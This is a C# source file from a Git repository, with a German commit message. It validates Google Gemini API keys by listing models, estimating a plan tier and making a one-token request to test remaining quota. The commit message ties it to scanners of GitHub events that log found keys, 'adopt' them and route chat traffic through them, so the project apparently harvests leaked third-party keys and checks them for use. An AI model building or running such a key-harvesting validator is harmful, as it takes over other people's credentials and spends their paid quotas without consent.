Files
gott/Services/GoogleKeyChecker.cs
T
Meleki 542a031172 feat: OpenAI Provider, Key-Checker Quota-Erkennung, persistierte Scanner-Logs
- OpenAI als vollwertiger Chat-Provider (Modell-Auswahl, Key-Routing, StreamChat)
- Hardcoded OpenAI-Modelle im Cache (gpt-5.x, gpt-4.1, o3, o4-mini etc.)
- /api/models/openai Endpoint, OpenAI-Optgroup im Agent-Dropdown
- Key-Routing: OpenAI-Key aus api_keys-Tabelle, Fallback via GetFirstActiveKeyByProvider
- OpenAI-Checker: 2-Schritt-Check (Models + chat/completions mit max_tokens=1)
- Google-Checker: 2-Schritt-Check (Models + generateContent mit maxOutputTokens=1)
- 429 insufficient_quota und billing_not_active korrekt als quota_exceeded erkannt
- Provider-Erkennung beim Adopt via KeyPatterns.DetectType() statt hardcoded anthropic
- HandleCheck/HandleCheckAll unterstützt jetzt Anthropic, OpenAI und Google
- Neue scanner_logs-Tabelle mit details-Spalte (JSON) für strukturierte Auswertung
- GitHubEventScannerService: AddLog persistiert in DB, detaillierte Key-Fund-Logs
- KeyScannerService: AddLog-Methode mit DB-Persistierung, detaillierte Logs
- Frontend: Ungeprüfte-prüfen-Button (sequenziell, stoppt bei valid)
- Frontend: Provider-Indicator im Key-Switch-Modal (Anthropic/OpenAI/Google)
- Frontend: Check-Button für alle Provider (nicht nur Anthropic)
2026-03-14 11:19:33 +01:00

186 lines
8.1 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
using System;
using System.Linq;
using System.Net.Http;
using System.Text.Json;
using System.Threading.Tasks;
namespace Gott.Services
{
public class GoogleCheckResult
{
public string Status { get; set; } // "ok", "invalid", "disabled", "error"
public string Message { get; set; }
public string[] Models { get; set; }
}
public class GoogleQuotaResult
{
public bool HasQuota { get; set; }
public string Error { get; set; }
}
public static class GoogleKeyChecker
{
private static async Task<GoogleQuotaResult> CheckQuotaAsync(HttpClient client, string apiKey, string[] models)
{
try
{
// Günstigstes Modell wählen (flash > pro > erstbestes)
var testModel = models.FirstOrDefault(m => m.Contains("flash", StringComparison.OrdinalIgnoreCase))
?? models.FirstOrDefault(m => m.Contains("pro", StringComparison.OrdinalIgnoreCase))
?? models.FirstOrDefault();
if (testModel == null)
return new GoogleQuotaResult { HasQuota = false, Error = "Keine Modelle verfügbar" };
var url = "https://generativelanguage.googleapis.com/v1/models/" + testModel
+ ":generateContent?key=" + apiKey;
var payload = new
{
contents = new[] { new { parts = new[] { new { text = "hi" } } } },
generationConfig = new { maxOutputTokens = 1 }
};
var json = JsonSerializer.Serialize(payload);
var content = new StringContent(json, System.Text.Encoding.UTF8, "application/json");
var resp = await client.PostAsync(url, content);
var statusCode = (int)resp.StatusCode;
if (statusCode == 200)
return new GoogleQuotaResult { HasQuota = true };
var body = await resp.Content.ReadAsStringAsync();
// 429: Quota oder Rate-Limit
if (statusCode == 429)
{
if (body.Contains("RESOURCE_EXHAUSTED", StringComparison.OrdinalIgnoreCase)
&& (body.Contains("quota", StringComparison.OrdinalIgnoreCase)
|| body.Contains("limit_value", StringComparison.OrdinalIgnoreCase)))
{
// Quota auf 0 oder erschöpft
if (body.Contains("\"0\"") || body.Contains("GenerateContent"))
return new GoogleQuotaResult { HasQuota = false, Error = "Quota erschöpft (0 RPM)" };
return new GoogleQuotaResult { HasQuota = false, Error = "Quota erschöpft" };
}
// Echtes Rate-Limit → Key hat Quota, ist nur temporär blockiert
return new GoogleQuotaResult { HasQuota = true };
}
// 403: API nicht aktiviert oder Billing-Problem
if (statusCode == 403)
{
if (body.Contains("PERMISSION_DENIED", StringComparison.OrdinalIgnoreCase))
return new GoogleQuotaResult { HasQuota = false, Error = "Keine Berechtigung für generateContent" };
if (body.Contains("billing", StringComparison.OrdinalIgnoreCase))
return new GoogleQuotaResult { HasQuota = false, Error = "Billing nicht aktiviert" };
return new GoogleQuotaResult { HasQuota = false, Error = "Zugriff verweigert (403)" };
}
// Andere Fehler → konservativ als "kein Quota" behandeln
return new GoogleQuotaResult { HasQuota = false, Error = "API-Fehler (" + statusCode + ")" };
}
catch (Exception)
{
// Bei Netzwerkfehler etc. → konservativ
return new GoogleQuotaResult { HasQuota = false, Error = "Quota-Check fehlgeschlagen" };
}
}
public static async Task<GoogleCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
{
try
{
var client = httpFactory.CreateClient();
client.Timeout = TimeSpan.FromSeconds(30);
// Gemini / Generative Language API – listet verfügbare Modelle
var url = "https://generativelanguage.googleapis.com/v1/models?key=" + apiKey;
var resp = await client.GetAsync(url);
var statusCode = (int)resp.StatusCode;
if (statusCode == 400)
return new GoogleCheckResult { Status = "invalid", Message = "API-Key ungültig (400)" };
if (statusCode == 403)
{
// Key gültig, aber Gemini API nicht aktiviert (z.B. Maps-Key)
var errorBody = await resp.Content.ReadAsStringAsync();
if (errorBody.Contains("API_KEY_INVALID", StringComparison.OrdinalIgnoreCase))
return new GoogleCheckResult { Status = "invalid", Message = "API-Key ungültig (403)" };
return new GoogleCheckResult { Status = "disabled", Message = "Key gültig, aber Gemini API nicht aktiviert (403)" };
}
if (statusCode == 429)
return new GoogleCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" };
if (statusCode >= 400)
return new GoogleCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" };
// 200 OK → Key gültig + Gemini API aktiv
var body = await resp.Content.ReadAsStringAsync();
var doc = JsonDocument.Parse(body);
string[] models = Array.Empty<string>();
if (doc.RootElement.TryGetProperty("models", out var modelsArr))
{
var interestingPrefixes = new[] { "gemini" };
models = modelsArr.EnumerateArray()
.Where(m => m.TryGetProperty("name", out _))
.Select(m => m.GetProperty("name").GetString())
.Where(n => n != null)
.Select(n => n.StartsWith("models/", StringComparison.Ordinal) ? n.Substring(7) : n)
.Where(n => interestingPrefixes.Any(p => n.StartsWith(p, StringComparison.OrdinalIgnoreCase)))
.Distinct()
.OrderBy(x => x)
.ToArray();
}
// Plan-Erkennung
string plan;
if (models.Any(m => m.Contains("2.5", StringComparison.OrdinalIgnoreCase)
|| m.Contains("ultra", StringComparison.OrdinalIgnoreCase)))
plan = "Premium";
else if (models.Any(m => m.Contains("pro", StringComparison.OrdinalIgnoreCase)))
plan = "Standard";
else if (models.Any(m => m.Contains("flash", StringComparison.OrdinalIgnoreCase)))
plan = "Basic";
else
plan = "Free";
// Schritt 2: Echten generateContent-Call machen um Quota zu prüfen
var quota = await CheckQuotaAsync(client, apiKey, models);
var info = models.Length + " Gemini-Modelle · " + plan;
if (!quota.HasQuota)
{
info += " · " + quota.Error;
return new GoogleCheckResult
{
Status = "quota_exceeded",
Message = info,
Models = models
};
}
return new GoogleCheckResult
{
Status = "ok",
Message = info,
Models = models
};
}
catch (Exception ex)
{
return new GoogleCheckResult { Status = "error", Message = ex.Message };
}
}
}
}